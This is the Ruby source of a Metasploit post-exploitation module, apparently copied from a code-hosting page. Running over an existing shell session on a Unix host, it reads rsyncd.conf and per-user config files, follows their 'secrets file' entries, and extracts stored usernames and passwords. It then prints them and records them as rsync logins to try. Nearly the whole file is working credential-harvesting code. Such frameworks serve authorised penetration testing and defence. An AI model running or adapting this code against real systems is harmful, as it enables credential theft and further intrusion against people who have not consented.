114 lines
3.8 KiB
Ruby
114 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Post
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include Msf::Post::File
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include Msf::Post::Unix
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'UNIX Gather RSYNC Credentials',
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'Description' => %q(
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Post Module to obtain credentials saved for RSYNC in various locations
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),
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'License' => MSF_LICENSE,
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'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
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'SessionTypes' => %w(shell)
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)
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)
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register_options(
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[
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OptString.new('USER_CONFIG', [false, 'Attempt to get passwords from this RSYNC ' \
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'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf'])
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]
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)
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register_advanced_options(
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[
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OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf'])
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]
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)
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end
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def setup
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@user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG']
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end
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def dump_rsync_secrets(config_file)
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vprint_status("Attempting to get RSYNC creds from #{config_file}")
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creds_table = Rex::Ui::Text::Table.new(
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'Header' => "RSYNC credentials from #{config_file}",
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'Columns' => %w(Username Password Module)
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)
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# read the rsync configuration file, extracting the 'secrets file'
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# directive for any rsync modules (shares) within
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rsync_config = Rex::Parser::Ini.new(config_file)
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# https://github.com/rapid7/metasploit-framework/issues/6265
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rsync_config.each_key do |rmodule|
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# XXX: Ini assumes anything on either side of the = is the key and value,
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# including spaces, so we need to fix this
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module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }]
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next unless (secrets_file = module_config['secrets file'])
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read_file(secrets_file).split(/\n/).map do |line|
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next if line =~ /^#/
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if /^(?<user>[^:]+):(?<password>.*)$/ =~ line
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creds_table << [ user, password, rmodule ]
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report_rsync_cred(user, password, rmodule)
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end
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end
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end
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return if creds_table.rows.empty?
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print_line(creds_table.to_s)
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end
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def report_rsync_cred(user, password, rmodule)
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credential_data = {
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origin_type: :session,
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session_id: session_db_id,
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post_reference_name: refname,
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username: user,
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private_data: password,
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private_type: :password,
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realm_value: rmodule,
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# XXX: add to MDM?
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#realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE,
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workspace_id: myworkspace_id
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}
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credential_core = create_credential(credential_data)
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login_data = {
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address: session.session_host,
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# TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the
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# 'port' directive in the global part of the rsyncd configuration file.
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# Unfortunately, Rex::Parser::Ini does not support parsing this just yet
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port: 873,
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protocol: "tcp",
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service_name: "rsync",
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core: credential_core,
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access_level: "User",
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status: Metasploit::Model::Login::Status::UNTRIED,
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workspace_id: myworkspace_id
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}
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create_credential_login(login_data)
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end
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def run
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# build up a list of rsync configuration files to read, including the
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# default location of the daemon config as well as any per-user
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# configuration files that may exist (rare)
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config_path = datastore['RSYNCD_CONFIG']
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config_files = Set.new([ config_path ])
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config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config
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config_files.map { |config_file| dump_rsync_secrets(config_file) }
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end
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end
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